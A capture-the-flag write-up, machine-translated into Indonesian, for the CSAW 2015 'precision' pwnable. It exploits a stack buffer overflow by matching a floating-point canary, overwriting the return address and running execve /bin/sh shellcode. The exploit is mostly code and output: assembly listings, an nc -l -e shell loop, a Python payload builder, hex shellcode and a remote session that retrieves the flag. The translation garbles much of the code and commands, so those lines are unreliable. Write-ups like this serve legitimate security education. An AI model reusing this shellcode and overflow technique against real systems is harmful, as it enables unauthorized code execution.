CSAW2015 quals precision exploit 100
Oleh
chmood
Masalah
berjalan pada:
nc 54.173.98.115 1259
Pwnable Exploit ada-sumber biner yang disediakan
Solusi
OK ... jadi pertama-tama pengaturan debugging, dapatkan -a readelf dan objdump -d pada biner
Setup salinan lokal dari server menggunakan sederhana nc shell lingkaran sehingga dapat melampirkan gdb dengan mudah
#! / bin / sh
sementara benar; do nc -l -p 1337 -e ./precision; matang
Sekarang kita bisa
$ nc localhost 1337
#and di terminal lain
$ ps ax | grep presisi $
$ gdb ./precision p
Sekarang kita siap untuk sedikit Python untuk menghubungkan dan kemudian melampirkan memproses setelah koneksi dimulai tapi sebelum kita berinteraksi dengan layanan - yang membuat debugging posible - jauh lebih mudah daripada Analisis hanya statis.
Ketika program tantangan dimulai, itu output pesan
Buff: 0xff900018
dan kemudian menunggu masukan ..
Jadi melihat output assembler objdump, saya melihat kode ini, yang saya komentar.
804856f: 8d 44 24 18 lea 0x18 (% esp),% eax
8048573: 89 44 24 04 mov eax%, 0x4 (% esp)
8048577: c7 04 24 82 86 04 08 movl $ 0x8048682, (esp%) # "% s"
804857e: e8 8d fe ff ff panggilan 8.048.410 <__ isoc99_scanf @ plt> # kita di sini untuk input
8048583: dd 84 24 98 00 00 00 fldl 0x98 (% esp)
804858a: dd 05 90 86 04 08 fldl 0x8048690 # memiliki 0x475a31a5
8048590: df E9 fucomip% st (1),% st
8048592: hh d8 fstp% st (0)
8048594: 7a 13 jp 80485a9
8048596: dd 84 24 98 00 00 00 fldl 0x98 (% esp)
804859d: dd 05 90 86 04 08 fldl 0x8048690
80485a3: df E9 fucomip% st (1),% st
80485a5: hh d8 fstp% st (0)
80485a7: 74 18 je 80485c1 # berikut ini 'kenari yang benar' setelah ditambal
80485a9: c7 24 85 86 04 04 08 movl $ 0x8048685, (esp%) "Tidak"
80485b0: e8 0b fe ff ff panggilan 80483c0 <menempatkan @ plt>
80485b5: c7 24 01 00 04 00 00 movl $ 0x1, (% esp)
80485bc: e8 1f fe ff ff panggilan 80483e0 <exit @ plt>
80485c1: a1 30 a0 04 08 mov 0x804a030,% eax "Got% s \ n"
80485c6: 8d 54 24 18 lea 0x18 (% esp),% edx # penyangga alamat awal
80485ca: 89 54 24 04 mov edx%, 0x4 (% esp)
80485ce: 89 04 24 mov eax%, (% esp)
80485d1: e8 da fd ff ff memanggil 80483b0 <printf @ plt>
80485d6: C9 meninggalkan
80485d7: c3 ret # pulang tanpa kondom
Sepertinya pasangan fldl yang digunakan untuk membandingkan sesuatu dari input dengan nilai tetap.
Kami hanya perlu memastikan input memiliki konten yang sama seperti [0x8048690] yang 0x475a31a5
Yang akan membawa kita ke 'benar kenari' jalan (kenari di Quotes, karena tidak benar-benar burung kenari ... tetapi berperan bahwa di sini ...)
Jadi tujuan kami adalah untuk mendapatkan kembali terlindungi ... ada tumpukan kenari sebenarnya perlu khawatir.
Upaya pertama gagal tes 'kenari'.
Tapi itu karena fldl adalah quadword tidak doubleword a.
Menempatkan byte [dd 05 90 86 04 08] ke ODA https://www.onlinedisassembler.com/odaweb/ membuatnya menjadi lebih jelas
ODA menterjemahkan ini sebagai Field QWORD PTR [esp + 0x98]
Jadi 8 byte data
Jadi mencari lagi di gdb kita perlu garis kenari kode menjadi:
PWN + = "\ xa5 \ x31 \ x5a \ x47 \ X55 \ x15 \ x50 \ X40" floating # titik kenari ...
Sekarang bekerja dan kami bisa melewati cek kenari.
Kita perlu melihat berapa banyak lebih banyak data untuk mengirim setelah 'kenari', untuk mendapatkan menimpa alamat pengirim.
Kita tahu itu akan terjadi karena buffer input pada stack, sehingga adalah alamat pengirim ...
Di gdb kita dapat melihat alamat pengirim di stack.
x / 64xw 0xff9c4338
0xff9c4338: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4348: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4358: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4368: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4378: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4388: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4398: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c43a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c43b8: 0x43434242 0x45454444 [0x08048500] # <- [] alamat ini kembali
shellcode dapat dimuat pada awal buffer, beberapa padding untuk sampai ke kenari, lebih padding dan akhirnya alamat pengirim.
Sedikit akhir dari coding diperlukan untuk mengurai pesan startup yang memberitahu kita lokasi buffer - dikonfirmasi menggunakan gdb, yang mana shellcode akan dan karenanya alamat yang kita akan kembali Buff: 0xff900018 misalnya.
Eksploitasi coding waktu:
r = GetResponse ()
cetak r # ini memiliki alamat penyangga kami
menjatuhkan, tetap = r.split ("Buff: 0x")
# Pertukaran byte urutan sekitar, string "ff9c4338" harus menjadi "\ X38 \ x43 \ x9c \ xff" misalnya
tetap menjaga = [6: 8] + tetap [4: 6] + menjaga [2: 4] + menjaga [: 2]
buffaddressbinary = keep.decode ("hex")
mencetak "penyangga ditemukan di% 08x" + buffaddressbinary
shell = GetShellcode ()
PWN = shell
padding_length = 128 - len (shell)
print "% i bantalan byte yang diperlukan"% padding_length
PWN + = "A" * padding_length
PWN + = "\ xa5 \ x31 \ x5a \ x47" floating # titik kenari ...
PWN + = "A" * 0xc # rekening untuk CUTI (mov ESP, EBP: EBP pop)
PWN + = buffaddressbinary # shellcode dimulai pada awal penyangga
PWN + = "\ n"
s.send (PWN)
r = GetResponse ()
cetak r
Jadi pertama-tama tes secara lokal
./pwnserver.py
untuk melanjutkan setelah Anda melampirkan debugger
Buff: 0xff900018
penyangga ditemukan di% 08x?
Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80]
panjang shellcode = 24
104 Padding byte diperlukan
Punya 1 Qh//shh/bin 㰰 ?̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1ZGU?P@AAAAAAAAAAAA?
ls
asm.asm
asm.asm ~
challenge.txt
peda-sesi-precision.txt
ketelitian
precision.readelf
precision.readelf ~
precision.strings
pwnserver.py
pwnserver.py ~
runserve.sh
runserve.sh ~
sam.py
sam.py ~
OK dan menjalankannya dari jarak jauh untuk mendapatkan bendera ... atau shell setidaknya
./pwnserver.py
Buff: 0xffeeb118
penyangga ditemukan di% 08x?
Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80]
panjang shellcode = 24
104 Padding byte diperlukan
Punya 1 Qh//shh/bin 㰰 ?̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1ZGU?P@AAAAAAAAAAAA?
ls
Mastho_a_une_petite_bite
No_problemo
dystopiannarwhalswashere
bendera
precision_a8f6f0590c177948fe06c76a1831e650
ini lebih menyebalkan daripada seharusnya
kucing flaeg
Bendera kucing
Bendera {} 1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r
Category
Komentar